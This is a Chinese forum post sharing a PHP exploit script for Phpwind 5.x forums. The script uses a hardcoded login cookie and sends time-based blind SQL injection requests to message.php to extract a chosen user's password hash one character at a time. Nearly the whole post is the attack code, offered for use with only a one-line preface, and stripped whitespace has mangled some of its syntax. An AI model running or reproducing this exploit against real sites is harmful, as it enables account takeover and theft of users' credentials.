忘记什么时候我就拿到了,一直没发挥.由于某些原因一直没发出来,毕竟不是原创,现在有人帖出来了,我也放出来.

程序代码

<?php

print_r("

+------------------------------------------------------------------+

ExploitForPhpwind5.XVersion

BYLoveshell

JustForFun:)

+------------------------------------------------------------------+

");

ini_set("max_execution_time",0);

error_reporting(7);

$bbspath="$argv[2]";

$server="$argv[1]";

$cookie='1ae40_lastfid=0;1ae40_ol_offset=776;1ae40_ck_info=%2F%09.72m.net;1ae40_winduser=A1QKBgE9UFxUUwAHDloFUAMIAFxeUgIMWgFUVVYDAA8HBFQNUVA%3D;1ae40_lastvisit=0%091173612527%09%2Fbbs%2Findex.php%3F;

$useragent="Mozilla/4.0(compatible;MSIE6.0;WindowsNT5.1;SV1)";

$uid=intval($argv[3])>0?intval($argv[3]):1;

echo"rn#Loggingt........";

if(islogin())echo"LoginOk!rn";

elsedie("NotLogin!tCheckYourCookieandUseragent!rn");

echo"#Testingt........";

if(test())echo"Vul!rn";

elsedie("NotVul");

$hashtable='0123456789abcdef';

$count=0;

echo"#Crackingtrnrn";

for($i=1;$i<=16;$i++){

echo"第t$it位:";

$subpass=crack($i+8);

$password=$password.$subpass;

echo"$subpassrn";

}

echo"Password:t$password";

echo"rnGoodLuck$countTimesrn";

functionsend($cmd,$path)

{

global$bbspath,$server,$cookie,$count,$useragent,$debug,$evilip;

$path=$bbspath."$path";

$message="POST".$path."HTTP/1.1rn";

$message.="Accept:*/*rn";

$message.="Accept-Language:zh-cnrn";

$message.="Referer:http://".$server.$path."rn";

$message.="Content-Type:application/x-www-form-urlencodedrn";

$message.="User-Agent:".$useragent."rn";

$message.="Host:".$server."rn";

$message.="Content-length:".strlen($cmd)."rn";

$message.="Connection:Keep-Alivern";

$message.="Cookie:".$cookie."rn";

$message.="rn";

$message.=$cmd."rn";

$count=$count+1;

$fd=fsockopen($server,80);

fputs($fd,$message);

$resp="<pre>";

while($fd&&!feof($fd)){

$resp.=fread($fd,1024);

}

fclose($fd);

$resp.="</pre>";

if($debug){echo$cmd;echo$resp;}

//echo$resp;

return$resp;

}

functionsqlject($sql){

global$uid;

$data='action=pubmsg&readmsg=0)';

$data=$data."unionselectBENCHMARK(1000000,md5(12345))frompw_memberswhereuid=$uidand$sql".'/*';

$echo=send($data,'message.php');

preg_match("/Total(.*)(/i",$echo,$matches);

if($matches[1]>2)return1;

elsereturn0;

}

functiontest(){

global$uid;

$data='action=pubmsg&readmsg=0)';

$echo=send($data,'message.php');

if(strpos($echo,'MySQLServerError'))return1;

elsereturn0;

}

functionislogin(){

global$uid;

$data='action=pubmsg&readmsg=0)';

$echo=send($data,'message.php');

if(strpos($echo,'login.php"'))return0;

elsereturn1;

}

functioncrack($i){

global$hashtable;

$sql="mid(password,$i,1)>0x".bin2hex('8');

if(sqlject($sql)){

$a=8;

$b=15;}

else{

$a=0;

$b=8;

}

for($tmp=$a;$tmp<=$b;$tmp++){

$sql="mid(password,$i,1)=0x".bin2hex($hashtable[$tmp]);

if(sqlject($sql))return$hashtable[$tmp];

}

crack($i);

}

?>

点击下载此文件